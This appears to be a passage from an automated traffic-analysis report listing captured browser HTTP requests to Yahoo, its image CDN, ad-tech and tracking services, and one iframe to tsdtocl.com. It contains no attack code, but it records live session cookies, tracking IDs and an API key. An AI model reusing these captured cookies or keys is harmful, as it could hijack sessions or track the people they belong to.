Source: global traffic	HTTP traffic detected: GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=zfSN82ZAbeD HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/8tjF7T4GR70djFWTwZRQYw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/people_218/6be7c0bb2afb25be1f85ac48c6a2959e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/images/spaceball.gif HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; IDSYNC="19cw~2g3z:19e0~2g3z"
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=0gast8pipu9uc&m_mode=json&designtype=default HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A
Source: global traffic	HTTP traffic detected: GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=796&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFST&stack=NONE&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1Host: lg1.hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=799&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFS_PERF&stack=%7B%22name%22%3A%22https%3A%2F%2Fhb.yahoo.net%2Fss%2Fnes%2Fdfs%3Fitype%3DYHB%26type%3D1%26cid%3D8YHBJ3BJ0%26dn%3Dwww.yahoo.com%26cc%3DUS%26ugd%3Ddesktop%26callback%3Dwindow.advBidxc.pf_rtd%22%2C%22entryType%22%3A%22resource%22%2C%22startTime%22%3A4534.799999999988%2C%22duration%22%3A713.3000000000175%2C%22initiatorType%22%3A%22link%22%2C%22deliveryType%22%3A%22%22%2C%22nextHopProtocol%22%3A%22http%2F1.1%22%2C%22renderBlockingStatus%22%3A%22non-blocking%22%2C%22workerStart%22%3A0%2C%22redirectStart%22%3A0%2C%22redirectEnd%22%3A0%2C%22fetchStart%22%3A4534.799999999988%2C%22domainLookupStart%22%3A4644.399999999994%2C%22domainLookupEnd%22%3A4645%2C%22connectStart%22%3A4645%2C%22secureConnectionStart%22%3A4656.100000000006%2C%22connectEnd%22%3A4992.1999999999825%2C%22requestStart%22%3A4992.299999999988%2C%22responseStart%22%3A5212.100000000006%2C%22firstInterimResponseStart%22%3A0%2C%22responseEnd%22%3A5248.100000000006%2C%22transferSize%22%3A11876%2C%22encodedBodySize%22%3A11576%2C%22decodedBodySize%22%3A11576%2C%22responseStatus%22%3A0%2C%22serverTiming%22%3A%5B%5D%7D&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1Host: lg1.hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1Host: api.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync?cs=3&type=yhb&gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dmn%26ovsid%3D%3Cvsid1%3E%26axid_e%3D HTTP/1.1Host: cs.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /os/yaft/yaft-0.3.28.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/notifications/js/sh-5.17.22.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=zfSN82ZAbeD HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A
Source: global traffic	HTTP traffic detected: GET /ybar/exp.json HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/hc/homepage-pwa-defer-1.1.6.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/J7SrLbVORhOwvVMDOguVjQ--~B/Zmk9c3RyaW07aD0xNDI7cT05NTt3PTI2ODthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/popular_mechanics_642/0973f80037db8e5fa7ca77dcb63b6750.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/7qp2RE6CtwF.Mj3QKEaNog--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/good_housekeeping_561/a34205bd93de17f457530161dac24aea.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/LVduRNN5Htm6KVA5NeoIkA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/f2b7229ea8bfdeacca21ad0593673f85.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/3vDJsuvj34ivMVnukopXNw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/in_touch_weekly_336/3b052fdee39917ec92806ecae96b4a87.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/images/spaceball.gif HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/8tjF7T4GR70djFWTwZRQYw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/people_218/6be7c0bb2afb25be1f85ac48c6a2959e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAEYBSgCMgsIovbEgs2PyTwQBTgB
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1Host: api.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tsdtocl.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=799&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFS_PERF&stack=%7B%22name%22%3A%22https%3A%2F%2Fhb.yahoo.net%2Fss%2Fnes%2Fdfs%3Fitype%3DYHB%26type%3D1%26cid%3D8YHBJ3BJ0%26dn%3Dwww.yahoo.com%26cc%3DUS%26ugd%3Ddesktop%26callback%3Dwindow.advBidxc.pf_rtd%22%2C%22entryType%22%3A%22resource%22%2C%22startTime%22%3A4534.799999999988%2C%22duration%22%3A713.3000000000175%2C%22initiatorType%22%3A%22link%22%2C%22deliveryType%22%3A%22%22%2C%22nextHopProtocol%22%3A%22http%2F1.1%22%2C%22renderBlockingStatus%22%3A%22non-blocking%22%2C%22workerStart%22%3A0%2C%22redirectStart%22%3A0%2C%22redirectEnd%22%3A0%2C%22fetchStart%22%3A4534.799999999988%2C%22domainLookupStart%22%3A4644.399999999994%2C%22domainLookupEnd%22%3A4645%2C%22connectStart%22%3A4645%2C%22secureConnectionStart%22%3A4656.100000000006%2C%22connectEnd%22%3A4992.1999999999825%2C%22requestStart%22%3A4992.299999999988%2C%22responseStart%22%3A5212.100000000006%2C%22firstInterimResponseStart%22%3A0%2C%22responseEnd%22%3A5248.100000000006%2C%22transferSize%22%3A11876%2C%22encodedBodySize%22%3A11576%2C%22decodedBo